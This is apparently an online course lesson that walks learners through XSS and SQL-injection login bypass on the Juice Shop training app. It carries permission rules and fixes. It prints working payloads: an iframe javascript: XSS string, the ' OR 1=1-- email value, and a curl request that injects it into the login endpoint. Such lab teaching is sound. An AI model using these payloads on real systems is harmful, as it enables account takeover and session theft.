XSS and broken login on Juice Shop
Make a page run your script, then log in as the admin without the password.
Roman Urdu: Page pe apna script chalao (XSS), phir bina password admin ban kr login kro.
Video transcript
Two classic web bugs: XSS, and broken login. One steals sessions. The other hands over accounts.
Cross-site scripting, or XSS, happens when a page takes text from a user and puts it into the page without cleaning it. The browser cannot tell it from the site's own code. So it runs it.
A script running in someone's page can read their session, and act as them. In DOM XSS, the unsafe step is in the page's own JavaScript, so nothing even has to reach the server.
Broken login is lesson four again. If the login form glues your email into a SQL query, injected SQL can cut off the password check. The database returns the first user, often the admin. You are in, without a password.
The fixes. For XSS: encode anything a user typed before it goes into a page, and add a content security policy. For login: prepared statements, rate limits, and a second factor.
So: never trust input. Not in the page, and not in the query. In the lab, on the training app Juice Shop, you solve two challenges: a DOM XSS, and logging in as the admin. Only on training apps, or systems you are allowed to test.
Rules: Only test systems you own or have written permission to test. Everything in this track runs against practice targets inside your own machine. Scanning or attacking anyone else’s system without permission is a crime in most countries.
Goal
Solve two Juice Shop challenges: a DOM XSS and logging in as the admin with SQL injection.
Why it matters
XSS steals sessions and broken login hands over accounts. Both are on every web security checklist.
Your machine · learn-cyber · lab cyber-05
A terminal on your own cyber machine, right in this page. It keeps your files between lessons.
First time: make your course machine from any terminal (Mac, Linux and Windows 10+ all have ssh). Your ssh key is your login; a new key picks a handle and accepts the terms first.
$ ssh -t -p 2200 m.logicpacks.io new cyber --name learn-cyberAfter that, come back to the same machine any time. Your files are still there:
$ ssh -t -p 2200 learn-cyber@m.logicpacks.ioTo use the terminal in this page, sign this browser in once: run this and open the link it prints.
$ ssh -p 2200 m.logicpacks.io webAll your machines in the browser: logicpacks.io/m. A guest key gets one machine: if you already use it for something else, rm that one or link a free account (3 machines). How machines work, credits and terms: logicpacks.io/machines
Step by step
Start the practice targets (about 20 seconds; Juice Shop is the slowest).
$ lab start$ lab statusXSS: user text that is really a script lands in a page uncleaned, and the browser runs it. Encoding user text stops it. Open Juice Shop in your browser (the Juice Shop tile, or http://localhost:3000 through the lesson 3 tunnel) and find its score board at
/#/score-board.In the search box, paste this payload and press Enter. An alert means the page ran your code.
$ <iframe src="javascript:alert(`xss`)">On the login page, use the email
' OR 1=1--and any password. You are now the first user in the database: the admin. The same attack from the terminal:$ curl -s http://juice.lab:3000/rest/user/login -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"x\"}" | head -c 200; echoSee which challenges you solved.
$ curl -s "http://juice.lab:3000/api/Challenges/?solved=true" | jq -r '.data[].name'
Check my work
Run this in your machine. It checks your work and prints PASS, or FAIL with a hint about what is missing.
$ lab check cyber-05